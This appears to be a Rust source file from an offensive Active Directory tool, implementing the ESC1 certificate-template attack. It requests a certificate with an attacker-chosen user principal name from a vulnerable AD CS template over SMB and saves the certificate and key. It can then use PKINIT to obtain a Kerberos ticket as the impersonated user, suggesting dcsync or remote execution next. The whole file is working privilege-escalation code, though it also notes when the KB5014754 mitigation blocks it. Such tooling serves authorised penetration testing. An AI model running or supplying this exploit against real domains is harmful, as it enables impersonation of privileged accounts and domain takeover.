use anyhow::Result;
use clap::Parser;
#[derive(Parser)]
pub(crate) struct Esc1Args {
#[command(flatten)]
pub auth: crate::shared_args::SmbAuth,
#[arg(long)]
pub ca: String,
#[arg(long)]
pub template: String,
#[arg(long)]
pub upn: String,
#[arg(long, default_value = "esc1.crt")]
pub out: String,
#[arg(long)]
pub pkinit: bool,
#[arg(long)]
pub kdc: Option<String>,
}
pub(crate) async fn esc1(a: Esc1Args) -> Result<()> {
use smb2_client::SmbClient;
let subject = a.upn.split('@').next().unwrap_or("adhammer");
let csr = adhammer_kerberos::csr::build_csr(subject, Some(&a.upn))?;
eprintln!("[*] CSR built (subject CN={subject}, SAN upn={})", a.upn);
let mut smb = SmbClient::connect(&a.auth.host).await?;
smb.login(&a.auth.host, &a.auth.domain, &a.auth.user, &a.auth.password)
.await?;
smb.tree_connect(&format!("\\\\{}\\IPC$", a.auth.host))
.await?;
let r = dcerpc::icpr::request_cert(
&mut smb,
&a.ca,
&a.template,
&csr.der,
&a.auth.domain,
&a.auth.user,
&a.auth.password,
&a.auth.host,
)
.await?;
if r.disposition == 3 && !r.cert_der.is_empty() {
std::fs::write(&a.out, &r.cert_der)?;
let key_path = format!("{}.key.pem", a.out);
std::fs::write(&key_path, &csr.key_pem)?;
println!(
"[+] ESC1: certificate ISSUED for UPN {} → {} ({} bytes), key → {}",
a.upn,
a.out,
r.cert_der.len(),
key_path
);
if a.pkinit {
let kdc = a.kdc.clone().unwrap_or_else(|| a.auth.host.clone());
let realm = a
.upn
.split('@')
.nth(1)
.unwrap_or(&a.auth.domain)
.to_string();
match adhammer_kerberos::pkinit::pkinit_with_cert(
subject,
&realm,
&kdc,
&csr.key_pem,
Some(&r.cert_der),
)
.await
{
Ok(tgt) => {
let ccache = format!("{subject}.ccache");
std::fs::write(&ccache, &tgt.ccache)?;
println!("[+] PKINIT OK — TGT obtained as {subject}; ccache → {ccache}");
println!(
" KRB5CCNAME={ccache} → use for Kerberos auth (dcsync, exec via -k, …)"
);
}
Err(e) => {
println!("[-] PKINIT with the issued cert failed: {e:#}");
if e.to_string().contains("error 66") {
println!(" (KDC_ERR_CANT_VERIFY_CERTIFICATE — likely strong certificate-mapping");
println!(" enforcement (KB5014754): a UPN-only cert has no SID mapping to the");
println!(" target, so the KDC refuses it. ESC1 escalation is mitigated on this DC.");
println!(" The cert was still issued — the template is vulnerable.)");
}
}
}
} else {
println!(
" next: --pkinit to turn this cert into a TGT as {}",
subject
);
}
} else {
println!(
"[-] enrollment not issued (disposition {}): {}",
r.disposition, r.message
);
}
Ok(())
}